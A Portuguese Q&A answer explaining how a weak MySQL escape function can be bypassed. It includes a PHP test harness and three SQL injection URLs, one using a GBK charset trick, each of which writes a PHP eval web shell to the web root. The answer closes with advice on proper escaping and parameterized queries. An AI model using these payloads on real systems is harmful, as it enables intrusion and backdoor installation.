Mysql
 sql >> Base de Dados >  >> RDS >> Mysql

Encontrou uma função de escape fraca para o MySql, como explorar?


Se você é apenas substituindo ' com '' então você pode explorar isso injetando um \' que se transformará em um \'' e isso permitirá que você saia porque isso fornece uma aspa simples "literal de caractere" e uma aspa simples real. No entanto, a substituição de "\\" com "\\\\" anula este ataque. As aspas simples duplas são usadas para "escapar" aspas simples para MS-SQL, mas isso não é adequado para MySQL, mas pode funcionar.

Os seguintes códigos provam que esta função de escape é segura para todos, exceto três condições . Esse código permuta todas as variações possíveis de cartas de controle e testa cada uma para garantir que não ocorra um erro com uma instrução select entre aspas simples. Este código foi testado no MySQL 5.1.41.
<?php
mysql_connect("localhost",'root','');
function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\\","\\\\",$value);
  return $value;

}

$chars=array("'","\\","\0","a");

for($w=0;$w<4;$w++){
    for($x=0;$x<4;$x++){
        for($y=0;$y<4;$y++){
            for($z=0;$z<4;$z++){
                mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
            }       
        }
    }
}
print "Escape function is safe :(";
?>

Condição vulnerável 1:sem aspas usadas.
mysql_query("select username from users where id=".escape($_GET['id']));

Explorar:
http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"

Condição vulnerável 2:aspas duplas usadas
mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");

Explorar:
http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

Condição vulnerável 2:aspas simples são usadas, no entanto, um conjunto de caracteres alternativo é usado. .
mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");

Explorar:
http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

A conclusão é sempre usar mysql_real_escape_string() como a rotina de escape para MySQL. Bibliotecas de consulta parametrizada como pdo e adodb sempre usam mysql_real_escape_string() quando conectado a um banco de dados mysql. addslashes() é MUITO MELHOR de uma rotina de escape porque cuida da condição vulnerável 2. Deve-se notar que nem mesmo mysql_real_escape_string() irá parar a condição 1, mas uma biblioteca de consulta parametrizada irá.